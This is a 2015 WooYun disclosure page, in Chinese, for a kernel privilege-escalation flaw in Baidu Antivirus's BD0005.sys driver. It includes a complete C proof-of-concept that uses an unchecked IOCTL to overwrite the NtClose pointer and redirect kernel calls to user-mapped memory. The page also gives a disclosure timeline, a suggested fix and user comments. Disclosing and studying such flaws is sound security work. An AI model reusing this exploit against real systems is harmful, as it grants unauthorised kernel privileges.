当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103397

漏洞标题:百度杀毒某处内核提权漏洞

相关厂商:百度

漏洞作者: 路人甲

提交时间:2015-03-24 11:38

修复时间:2015-06-22 16:54

公开时间:2015-06-22 16:54

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-03-27: 细节向第三方安全合作伙伴开放
2015-05-18: 细节向核心白帽子及相关领域专家公开
2015-05-28: 细节向普通白帽子公开
2015-06-07: 细节向实习白帽子公开
2015-06-22: 细节向公众公开

简要描述:

BD0005.sys对输入参数校验不严格,被利用后可以在任意内核地址写入一个字节,将内核调用重定向到用户可控的地址,实现提权。

详细说明:

1.百度杀毒版本:

版本.jpg


BD0005.sys版本:2.0.0.6
系统版本:windows xp sp3
ntkrnlpa版本:5.1.2600.6419
2.系统启动过【安全沙箱】,BD0005.sys对IoControlCode=0x1236000c的处理逻辑不严谨,传入内核地址也会被写入1个字节0x42,只要精心布置内存布局,即可实现内核提权调用。根源如下:

exploit3.jpg


3.漏洞利用后的表现:

exploit1.jpg


exploit2.jpg

漏洞证明:

POC通过提前在用户地址布局利用代码,实现内核调用转向到可控地址。

DWORD GetDriverBase(CHAR* pName)
{
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved [2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName [256 ];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI* FN_ZwQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
FN_ZwQuerySystemInformation fn =
(FN_ZwQuerySystemInformation)GetProcAddress(GetModuleHandle(_T("ntdll")), "ZwQuerySystemInformation");
if(!fn)
return 0;
DWORD dwBase = 0;
CHAR* pBuffer = new CHAR[0x10000];
memset(pBuffer, 0, 0x10000);
ULONG cb = 0;
LONG l = (*fn)(11, pBuffer, 0x10000, &cb);
if(0 == l)
{
ULONG count = *((ULONG*)pBuffer);
PSYSTEM_MODULE_INFORMATION pInfo = (PSYSTEM_MODULE_INFORMATION)(pBuffer + sizeof(ULONG));
for (ULONG i = 0; i < count; ++i)
{
if('\0' != pInfo[i].ImageName[0])
{
strlwr(pInfo[i].ImageName);

if(pName && strstr(pInfo[i].ImageName, pName))
{
dwBase = (DWORD)pInfo[i].Base;
break;
}
}
}
}
delete pBuffer;
return dwBase;
}
void NtAllocVirtualPage(HANDLE hProcess, DWORD dwAddr)
{
typedef LONG (WINAPI* NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
NtAllocateVirtualMemory fnAllocate =
(NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtAllocateVirtualMemory");
if(fnAllocate)
{
PBYTE pBase = (PBYTE)dwAddr;
SIZE_T len = 0x1000;
LONG lSucceed = fnAllocate(hProcess, (PVOID*)&pBase, 0, &len, 0x3000, PAGE_EXECUTE_READWRITE);
}
}
void CallDriver(HANDLE hDev)
{
DWORD dwReturned = 0;
DWORD driverBase = GetDriverBase("bd0005.sys");
WCHAR* input = L"BDSANDBOX";
NtAllocVirtualPage(GetCurrentProcess(), 0x425b2ea4);
if(!IsBadWritePtr((LPVOID)0x425b2ea4, 8))
{
memcpy((LPVOID)0x425b2ea4, "\xcc\xcc\xcc", 3);
}

DeviceIoControl(hDev,
0x1236000c,
(LPVOID)input,
0x12,

// bd0005.sys偏移0x21fd0保存的是NtClose的地址(0x805b2ea4),
// 通过漏洞将其高字节改为0x42,重定向到我可控的0x425b2ea4地址
(LPVOID)(driverBase + 0x21fd3),
0,
&dwReturned,
NULL);

}
void FuzzDriver()
{
LPCTSTR DevName = _T("\\\\.\\Bd0005Ctl");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(INVALID_HANDLE_VALUE != hDev)
{
CallDriver(hDev);
CloseHandle(hDev);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
FuzzDriver();
return 0;
}

修复方案:

对IoControl=0x1236000c的传入参数做合法校验,只有UserSpace才允许写入;或者直接不接受outputBuffer。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-24 16:52

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-24 11:39 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    卧槽

  2. 2015-03-24 11:39 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    卧槽

  3. 2015-03-24 12:02 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    卧槽

  4. 2015-03-24 12:20 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    百度杀毒好厉害呢

  5. 2015-03-24 13:30 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    沙发~~~

  6. 2015-03-24 14:19 | 黑名单 ( 实习白帽子 | Rank:60 漏洞数:13 | 像个傻瓜似的,为什么。)

    杀毒用百度 蓝屏好伙伴 死机好机油!!百度杀毒 值得你的信赖

  7. 2015-03-24 19:58 | llkoio ( 路人 | Rank:20 漏洞数:3 | 热爱网络安全!)

    膜拜大牛!

  8. 2015-03-24 20:42 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    我操,关注- -

  9. 2015-03-25 11:46 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    牛B

  10. 2015-03-27 17:33 | 无心 ( 路人 | Rank:8 漏洞数:4 | 有时候低头不是认输,是要看清自己的路;仰...)

    @0x 80 你认识浅蓝?

  11. 2015-03-28 11:28 | 猪猪侠表哥 ( 实习白帽子 | Rank:44 漏洞数:5 | 听说我表弟在这里混得不错。)

    牛逼。。。

  12. 2015-03-28 23:51 | leakless ( 路人 | Rank:6 漏洞数:3 | 今天我没吃药感觉自己萌萌哒~~)

    现在上网一不小心就中百度杀毒了..然后一不小心就被提权了..然后一不小心D盘的17.2G自拍就流传到1024了..然后一不小心就出名了..

  13. 2015-06-22 16:56 | yinian ( 实习白帽子 | Rank:67 漏洞数:22 | 代 码 审 计 求 交 流)

    VC,写的再透彻点,我们好理解